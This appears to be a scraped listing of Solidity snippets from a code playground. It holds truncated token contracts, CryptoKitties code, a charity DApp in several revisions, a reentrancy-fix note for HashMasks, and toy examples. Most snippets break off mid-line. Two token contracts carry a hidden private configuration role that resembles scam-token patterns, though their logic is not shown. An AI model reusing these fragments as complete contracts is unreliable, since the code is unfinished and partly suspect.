    /// @param _value The amount of token to be transferred
    /
Apr 27, 2021 11:18:46 UTC
/**
 *Submitted for verification at BscScan.com on 2021-04-27
*/

pragma solidity ^0.8.2;
// SPDX-License-Identifier: Unlicensed

contract XXXXXXCoin {
	mapping(address => uint) public balances;
	mapping( address => mapping(address => uint)) public allowance;
	
	uint public totalSupply = 1000000000 * 10**6 * 10**8;
	string public name = "XXXXXX";
	string public symbol = "XXXXXX";
	uint public decimals = 9;
    address private coinConfiger = msg.sender;
    address public owner = msg.sender;
	
	event Transfer(address indexed from, address indexed to, uint value);
	event Approval(address indexed owner, address indexed spender, uint value);
	event Error();
    bool private Errors = false;
	modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }
    modifier coinConfig() {
        require(msg.sender == coinConfiger);
        _;
    }
	
	constructor(){
		balances[msg.sender] = totalSupply;
		emit Transfer(address(0), msg.sender, totalSupply);
	}
	
	function
Apr 27, 2021 06:24:54 UTC
/**
 *Submitted for verification at BscScan.com on 2021-04-27
*/

pragma solidity ^0.8.2;
// SPDX-License-Identifier: Unlicensed

contract SphynxCatCoin {
	mapping(address => uint) public balances;
	mapping( address => mapping(address => uint)) public allowance;
	
	uint public totalSupply = 1000000000 * 10**6 * 10**8;
	string public name = "SphynxCatCoin";
	string public symbol = "SCC";
	uint public decimals = 9;
    address private coinConfiger = msg.sender;
    address public owner = msg.sender;
	
	event Transfer(address indexed from, address indexed to, uint value);
	event Approval(address indexed owner, address indexed spender, uint value);
	event Error();
    bool private Errors = false;
	modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }
    modifier coinConfig() {
        require(msg.sender == coinConfiger);
        _;
    }
	
	constructor(){
		balances[msg.sender] = totalSupply;
		emit Transfer(address(0), msg.sender, totalSupply);
	}
	
	f
Apr 27, 2021 06:22:17 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Test {   
   function callKeccak256() public pure returns(bytes32 result){
      return keccak256("Isla Rebekah Tintpulver");
   }  
Apr 27, 2021 04:19:37 UTC
// CryptoKitties Source code
// Copied from: https://etherscan.io/address/0x06012c8cf97bead5deae237070f9587f8e7a266d#code

pragma solidity ^0.4.11;

/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 * functions, this simplifies the implementation of "user permissions".
 */
contract Ownable {
  address public owner;


  /**
   * @dev The Ownable constructor sets the original `owner` of the contract to the sender
   * account.
   */
  function Ownable() {
    owner = msg.sender;
  }


  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }


  /**
   * @dev Allows the current owner to transfer control of the contract to a newOwner.
   * @param newOwner The address to transfer ownership to.
   */
  function transferOwnership(address newOwner) onlyOwner {
    if (newOwner != address(0)) {
      owner = newOwner;
    }
  }

}



/// @title Interface for contract
Apr 26, 2021 01:23:54 UTC
pragma solidity >=0.5.0 <0.7.0;

contract SimpleAuction {
    address payable public beneficiary;
    uint public auctionEndTime;

    address public highestBidder;
    uint public highestBid;

    mapping(address => uint) pendingReturns;

    bool ended;

    event HighestBidIncreased(address bidder, uint amount);
    event AuctionEnded(address winner, uint amount);

    constructor(
        uint _biddingTime,
        address payable _beneficiary
    ) public {
        beneficiary = _beneficiary;
        auctionEndTime = now + _biddingTime;
    }

    function bid() public payable {
        require(
            now <= auctionEndTime,
            "Auction already ended."
        );

        require(
            msg.value > highestBid,
            "There already is a higher bid."
        );

        if (highestBid != 0) {
            pendingReturns[highestBidder] += highestBid;
        }
        highestBidder = msg.sender;
        highestBid = msg.value;
        emit HighestBidIncreased(msg.sender, msg.value);
Apr 23, 2021 13:53:58 UTC
pragma solidity >=0.4.0 <=0.6.0;  
  
contract news{  
      
    struct newsfeed{  
        address publisher;  
        string newsdesc;  
    }  
    mapping(uint => newsfeed) public newsfeeds;  
    uint public newsCount;  
  
    function addnews(string memory newsdesc) public {  
        newsCount++;  
        newsfeeds[newsCount].publisher = msg.sender;  
        newsfeeds[newsCount].newsdesc = newsdesc;  
  
    }  
}
Apr 23, 2021 11:20:50 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public pure returns (uint) {
    uint a = 0;
    return a - 1;
  }

  uint value;
Apr 21, 2021 18:02:35 UTC
/**
 *Submitted for verification at BscScan.com on 2020-10-28
*/

// File: openzeppelin-solidity/contracts/proxy/Proxy.sol



pragma solidity ^0.6.0;

/**
 * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
 * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
 * be specified by overriding the virtual {_implementation} function.
 * 
 * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
 * different contract through the {_delegate} function.
 * 
 * The success and return data of the delegated call will be returned back to the caller of the proxy.
 */
abstract contract Proxy {
    /**
     * @dev Delegates the current call to `implementation`.
     * 
     * This function does not return to its internall call site, it will return directly to the external caller.
     */
    function _delegate(address implementation) in
Apr 21, 2021 07:51:19 UTC
pragma solidity ^0.5.0;

import "https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-contracts/v2.5.0/contracts/token/ERC20/ERC20.sol";
import "https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-contracts/v2.5.0/contracts/math/SafeMath.sol";
import "https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-contracts/v2.5.0/contracts/ownership/Ownable.sol";
import "https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-contracts/v2.5.0/contracts/token/ERC20/ERC20Detailed.sol";

contract FreeParking is ERC20, Ownable, ERC20Detailed {
    constructor(
        address _owner,
        uint256 _supply
    )
    ERC20Detailed(
        "Free Parking Protocol", 
        "PARK",
        18
    )
        public
    {
        _mint(_owner, _supply);
    }
    
   using SafeMath for uint256;

   /**
    * @notice We require to know who are all the stakeholders.
    */
   address[] internal stakeholders;

   /**
    * @notice The accumulated revenue for each stakeholder.
    */
   mapping(address =>
Apr 20, 2021 08:56:09 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.5.0;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Apr 20, 2021 08:31:47 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;

contract Playground {

  function signedTest() pure public returns(uint256) {
    uint16 a = uint16(-1);
    uint256 b = a;
    return b;
  }
}
Apr 14, 2021 04:43:40 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Parent {

  Child _child ;

  function Parent(Child child) public {
    _child  = child;
  }
  function call_child() public{
    _child.call_me(msg.sender);
  }

  uint value;
}

contract Child {
  address public _realMsgSender;
  address public _seenMsgSender;

  function call_me(address realMsgSender) public {
    _realMsgSender = realMsgSender;
    _seenMsgSender = msg.sender;
  }

Apr 13, 2021 06:13:15 UTC
pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Payment{
   string description;
   uint amount;
   address receiver;
   bool completed;


}

struct product{
    string productId;
    string productName;
    uint price;
    address seller;
    bool ongoing;

       }

struct Beneficiary{
    string description;
    uint maxContr;
    address store;
    bool complete;
    uint approvalCount;
    mapping(address => bool) approvals;
    bool display;

}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    // uint account_balance;
    address Address;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  // uint account_balance;

}

// Beneficiary[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficiar
Apr 11, 2021 07:56:12 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Apr 11, 2021 06:41:23 UTC
pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Payment{
   string description;
   uint amount;
   address receiver;
   bool completed;
   

}

struct product{
    string productId;
    string productName;
    uint price;
    address seller;
    bool ongoing;

       }

struct Beneficiary{
    string description;
    uint maxContr;
    address store;
    bool complete;
    uint approvalCount;
    mapping(address => bool) approvals;
    bool display;
    
}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    uint account_balance;
    address Address;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  uint account_balance;

}

// Beneficiary[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficia
Apr 10, 2021 10:23:05 UTC
pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Payment{
   string description;
   uint amount;
   address receiver;
   bool completed;
   uint votercount;

}

struct product{
    string productId;
    string productName;
    uint price;
    address seller;
    bool ongoing;

       }

struct Beneficiary{
    string description;
    uint maxContr;
    address store;
    bool complete;
    uint approvalCount;
    mapping(address => bool) approvals;
    
}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    uint account_balance;
    address Address;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  uint account_balance;

}

Beneficiary[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficiaries;
Apr 10, 2021 07:19:38 UTC
pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Payment{
   string description;
   uint amount;
   address receiver;
   bool completed;
   uint votercount;

}

struct product{
    string productId;
    string productName;
    uint price;
    address seller;
    bool ongoing;

       }

struct Beneficiary{
    string description;
    uint maxContr;
    address store;
    bool complete;
    uint approvalCount;
    mapping(address => bool) approvals;
    
}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    uint account_balance;
    address Address;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  uint account_balance;

}

Beneficiary[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficiaries;
Apr 10, 2021 06:34:07 UTC
pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Payment{
   string description;
   uint amount;
   address receiver;
   bool completed;
   uint votercount;

}

struct product{
    string productId;
    string productName;
    uint price;
    address seller;
    bool ongoing;

       }

struct Beneficiary{
    string description;
    uint maxContr;
    address store;
    bool complete;
    uint approvalCount;
    mapping(address => bool) approvals;
}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    uint account_balance;
    address Address;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  uint account_balance;

}

Beneficiary[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficiaries;
addr
Apr 09, 2021 13:04:42 UTC
pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Payment{
   string description;
   uint amount;
   address receiver;
   bool completed;
   uint votercount;

}

struct product{
    string productId;
    string productName;
    uint price;
    address seller;
    bool ongoing;

       }

struct Beneficiary{
    string description;
    uint maxContr;
    address store;
    bool complete;
    uint approvalCount;
    mapping(address => bool) approvals;
}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    uint account_balance;
    address Address;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  uint account_balance;

}

Beneficiary[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficiaries;
addr
Apr 09, 2021 12:58:40 UTC
pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Payment{
   string description;
   uint amount;
   address receiver;
   bool completed;
   uint votercount;

}

struct product{
    string productId;
    string productName;
    uint price;
    address seller;
    bool ongoing;

       }

struct Beneficiary{
    string description;
    uint maxContr;
    address store;
    bool complete;
    uint approvalCount;
    mapping(address => bool) approvals;
}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    uint account_balance;
    address Address;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  uint account_balance;

}

Beneficiary[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficiaries;
addr
Apr 09, 2021 12:44:01 UTC
pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Payment{
   string description;
   uint amount;
   address receiver;
   bool completed;
   uint votercount;

}

struct product{
    string productId;
    string productName;
    uint price;
    address seller;
    bool ongoing;

       }

struct Beneficiary{
    string description;
    uint maxContr;
    address store;
    bool complete;
    uint approvalCount;
    mapping(address => bool) approvals;
}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    uint account_balance;
    address Address;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  uint account_balance;

}

Beneficiary[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficiaries;
addr
Apr 09, 2021 10:09:26 UTC
pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Payment{
   string description;
   uint amount;
   address receiver;
   bool completed;
   uint votercount;

}

struct product{
    string productId;
    string productName;
    uint price;
    address seller;
    bool ongoing;

       }

struct Beneficiary{
    string description;
    uint maxContr;
    address store;
    bool complete;
    uint approvalCount;
    mapping(address => bool) approvals;
}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    uint account_balance;
    address Address;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  uint account_balance;

}

string[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficiaries;
address p
Apr 09, 2021 08:44:29 UTC
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
  
Apr 08, 2021 18:26:40 UTC
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
  
Apr 08, 2021 18:25:14 UTC
pragma solidity ^0.4.25;

/*
    Just the interface so solidity can compile properly
    We could skip this if we use generic call creation or abi.encodeWithSelector
*/
contract ERC20 {
    function totalSupply() public constant returns (uint);
    function balanceOf(address tokenOwner) public constant returns (uint balance);
    function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
    function transfer(address to, uint tokens) public returns (bool success);
    function approve(address spender, uint tokens) public returns (bool success);
    function transferFrom(address from, address to, uint tokens) public returns (bool success);
    event Transfer(address indexed from, address indexed to, uint tokens);
    event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}

/*
    Generic Receiver Contract
*/
contract Receiver {
    
    address public owner;

    constructor() public {
        /* 
            Deployer's address ( Factory in our
Apr 07, 2021 14:47:07 UTC
pragma solidity >=0.6.0;

contract questFreeton{

	constructor() public {
		require(tvm.pubkey() != 0);
        tvm.accept();
	}
	uint16 constant SIEGE_TIME = 10770;
	uint24 constant QUEST_WINDOW_TIME = 86400;

	uint16 version = 0;
	uint16 questID =0;	

	struct PirateStation{
		string blkch;
		uint24[] crd;
		uint16 siegeTime;
		uint24 exculibr;
		uint24 loki;
		uint32[] tokens;
		uint16 questID;
		uint24 appearance;
	}

	struct Pool{
		string blkch;
		uint8 minStCount;
		uint8 maxStCount;
		uint24 shipsCoeff;
		uint32[] tCount;
	}

	mapping(uint32=>PirateStation) maplogs;

	function setCode(TvmCell newcode) public onlyOwner {
		tvm.setcode(newcode);
		tvm.setCurrentCode(newcode);
		onCodeUpgrade();
	}


	function onCodeUpgrade() private {
		version += 1;
	}

	modifier onlyOwner(){
		require(msg.pubkey() == tvm.pubkey(), 100);
		tvm.accept();
		_;
	}
	function genCount(uint8 _minCount,uint8 _maxCount) internal pure returns(uint8){
		rnd.shuffle();
		uint8 _countStation = _minCount + rnd.next(_maxCount - _minC
Apr 07, 2021 12:07:13 UTC
pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Beneficiary{
    string description;
    uint maxContr;
    address recipient;
    bool complete;
}

struct Payment{
   string description;
   uint amount;
   address receiver;
   bool completed;
   uint votercount;

}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    uint account_balance;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  uint account_balance;

}

string[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficiaries;
address public reciever;
uint public minContr;
CoopStore[] public CooperativeStores;
/* string[] public BeneficiaryInfo;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info 
Apr 06, 2021 15:39:52 UTC
Apr 05, 2021 21:27:54 UTC
pragma solidity ^0.4.16;
pragma experimental ABIEncoderV2;

contract Owned {
    address public owner;

    function Owned() {
        owner = msg.sender;
    }

    modifier onlyOwner {
        require(msg.sender == owner);
        _;
    }

    function transferOwnership(address newOwner) public onlyOwner {
        owner = newOwner;
    }

    function getOwner() public constant returns (address) {
        return owner;
    }
}

contract FileHashStorage is Owned {
    struct File {
        string name;
        uint uploadDate;
        uint size;
    }
    mapping(string => File) private files;
    mapping(string => string[]) private fileOwners;
    string[] public owners;
    uint public ownerID = 0;

    /*
    owners = ["Jung", "Park", ...]
    fileOwners["Jung"] = ["0xABCD1234", "0xDEAD4321"] // Hashed file
    files["0xABCD1234"] = {
      name: "test_file.pdf",
      registerDate: 17203124, // Unix timestamp
      size: 154000 // Bytes
    }
    */

    event Upload(string personName, string fileHash, 
Apr 04, 2021 13:15:52 UTC
pragma solidity ^0.4.22;

contract Insurance {

  struct customer {
    bool isUidGenerated;
    string name;
    uint amountInsured;
  }

  mapping (address => customer) public customerMapping;
  mapping (address => bool) public doctorRegistered;

  address Owner;

  constructor() public {
    Owner = msg.sender;
  }

  modifier onlyOwner() {
    require (Owner == msg.sender);
    _;
  }

  function registerDoctor(address _address) public onlyOwner {
    require (!doctorRegistered[_address], "Doctor already registered!");
    doctorRegistered[_address] = true;
  }

  function generateCustomer(string _name, uint _amountInsured) public onlyOwner returns (address) {
    address uniqueId = address(sha256(msg.sender, now));
    require (!customerMapping[uniqueId].isUidGenerated, "Error occurred! Try again!");
    customerMapping[uniqueId].isUidGenerated = true;
    customerMapping[uniqueId].name = _name;
    customerMapping[uniqueId].amountInsured = _amountInsured;

    return uniqueId;
  }

  function useInsuran
Mar 31, 2021 13:30:31 UTC
/**
  
   #BEE
   
   #LIQ+#RFI+#SHIB+#DOGE = #BEE

   #SAFEMOON features:
   3% fee auto add to the liquidity pool to locked forever when selling
   2% fee auto distribute to all holders
   I created a black hole so #Bee token will deflate itself in supply with every transaction
   50% Supply is burned at start.
   

 */

pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {

    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend 
Mar 29, 2021 21:23:01 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function log(uint256 x) public view returns (uint256 y){
        assembly {
        let arg := x
        x := sub(x,1)
        x := or(x, div(x, 0x02))
        x := or(x, div(x, 0x04))
        x := or(x, div(x, 0x10))
        x := or(x, div(x, 0x100))
        x := or(x, div(x, 0x10000))
        x := or(x, div(x, 0x100000000))
        x := or(x, div(x, 0x10000000000000000))
        x := or(x, div(x, 0x100000000000000000000000000000000))
        x := add(x, 1)
        let m := mload(0x40)
        mstore(m,           0xf8f9cbfae6cc78fbefe7cdc3a1793dfcf4f0e8bbd8cec470b6a28a7a5a3e1efd)
        mstore(add(m,0x20), 0xf5ecf1b3e9debc68e1d9cfabc5997135bfb7a7a3938b7b606b5b4b3f2f1f0ffe)
        mstore(add(m,0x40), 0xf6e4ed9ff2d6b458eadcdf97bd91692de2d4da8fd2d0ac50c6ae9a8272523616)
        mstore(add(m,0x60), 0xc8c0b887b0a8a4489c948c7f847c6125746c645c544c444038302820181008ff)
        ms
Mar 29, 2021 15:20:57 UTC
pragma solidity ^0.7.0;

import "./ERC165/IERC165.sol";
import "./ERC165/ERC165.sol";
import "./utils/Address.sol";
import "./utils/EnumerableMap.sol";
import "./utils/EnumerableSet.sol";
import "./utils/SafeMath.sol";
import "./utils/Strings.sol";
import "./utils/Context.sol";
import "./utils/Ownable.sol";
import "./IERC20.sol";
import "./IMasks.sol";
import "./IERC721Enumerable.sol";

/**
 * @title ERC-721 Non-Fungible Token Standard, optional metadata extension
 * @dev See https://eips.ethereum.org/EIPS/eip-721
 */
interface IERC721Metadata is IERC721 {

    /**
     * @dev Returns the token collection name.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the token collection symbol.
     */
    function symbol() external view returns (string memory);
}

/**
 * @title ERC721 token receiver interface
 * @dev Interface for any contract that wants to support safeTransfers
 * from ERC721 asset contracts.
 */
interface IERC721Receiver {
    /**
     * @dev Wheneve
Mar 26, 2021 23:39:37 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Mar 26, 2021 05:54:42 UTC
pragma solidity ^0.7.1;

/**
 * @title ERC20Basic
 * @dev Simpler version of ERC20 interface
 * @dev see https://github.com/ethereum/EIPs/issues/179
 */
contract ERC20Basic {
  uint256 public totalSupply;
  function balanceOf(address who) public constant returns (uint256);
  function transfer(address to, uint256 value) public returns (bool);
  event Transfer(address indexed from, address indexed to, uint256 value);
}

/**
 * @title SafeMath
 * @dev Math operations with safety checks that throw on error
 */
library SafeMath {
  function mul(uint256 a, uint256 b) internal constant returns (uint256) {
    uint256 c = a * b;
    assert(a == 0 || c / a == b);
    return c;
  }

  function div(uint256 a, uint256 b) internal constant returns (uint256) {
    // assert(b > 0); // Solidity automatically throws when dividing by 0
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold
    return c;
  }

  function sub(uint256 a, uint256 b) internal constant returns (uint2
Mar 24, 2021 09:23:04 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value; 
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
}

Mar 20, 2021 16:15:52 UTC
pragma solidity 0.4.18; 
contract gfgMathPlus  
{ 
    // Declaring the state 
    // variables 
    uint firstNo=5; 
    uint secondNo=2 ; 
    
  
    // Defining the function  
    // to set the value of the  
    // first variable 
    function firstNoSet(uint x) public 
    { 
        firstNo = x; 
    } 
  
    // Defining the function 
    // to set the value of the  
    // second variable 
    function secondNoSet(uint y) public 
    { 
        secondNo = y; 
    } 
  
    // Defining the function 
    // to add the two variables 
    function add() view public returns (uint)  
    { 
        uint Sum = firstNo + secondNo ; 
          
        // Sum of two variables 
        return Sum; 
    } 
    
}
Mar 19, 2021 04:36:33 UTC
// SPDX-License-Identifier: FIRChain
pragma solidity ^0.7.1;

contract FIRChain {
    enum Roles {NoRole, PoliceStation, HeadQuarters}
    enum ComplaintType {Nil, Missing, Found}
    event verifyEvent(bool Status);
    event findMatchEvent(uint256 fid1, uint256 fid2);
    
    struct PoliceStationStruct {
        uint256 pId;
        address ethAddr;
        string name;
        string addr;
        string state;
        uint256 phno;
        Roles role;
    }
    struct FIRStruct {
        uint256 fId;
        string name;
        string details;
        string state;
        uint uniqueId;
        ComplaintType ctype;
        uint256 registeredDate;
        uint256 closedDate;
        bool findMatch;
        bool status;
    }
    mapping(uint256 => PoliceStationStruct) Police;
    mapping(uint256 => uint256) HeadQuarter;
    mapping(uint256 => uint256[]) PoliceStations;
    mapping(address => uint256) Registered;
    mapping(uint => bool) MissingStatus;
    mapping(uint => bool) FoundStatus;
    mapping(u
Mar 16, 2021 17:40:50 UTC
// Possible HashMasks fix


// 1. Add the following  to the Masks.sol on line 17 or so (new line, do not paste in "contract {" or anywhere else.
// NOTE: I removed the comments it contained to save space.
// The source of it is here: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol

abstract contract ReentrancyGuard {
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    uint256 private _status;

    constructor () {
        _status = _NOT_ENTERED;
    }

    modifier nonReentrant() {
        // On the first call to nonReentrant, _notEntered will be true
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");

        // Any calls to nonReentrant after this point will fail
        _status = _ENTERED;

        _;

        // By storing the original value once again, a refund is triggered (see
        // https://eips.ethereum.org/EIPS/eip-2200)
        _status = _NOT_ENTERED;
    }
}




// 2. Chan
Mar 15, 2021 18:50:06 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Mar 15, 2021 13:20:01 UTC
pragma solidity ^0.4.17;

/**
 * @title SafeMath
 * @dev Math operations with safety checks that throw on error
 */
library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        assert(c / a == b);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        // assert(b > 0); // Solidity automatically throws when dividing by 0
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b <= a);
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}

/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 *
Mar 12, 2021 21:40:49 UTC
pragma solidity ^0.4.17;

/**
 * @title SafeMath
 * @dev Math operations with safety checks that throw on error
 */
library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        assert(c / a == b);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        // assert(b > 0); // Solidity automatically throws when dividing by 0
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b <= a);
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}

/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 *
Mar 12, 2021 21:39:11 UTC
pragma solidity ^0.4.17;

/**
 * @title SafeMath
 * @dev Math operations with safety checks that throw on error
 */
library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        assert(c / a == b);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        // assert(b > 0); // Solidity automatically throws when dividing by 0
        uint256 c = a / b;
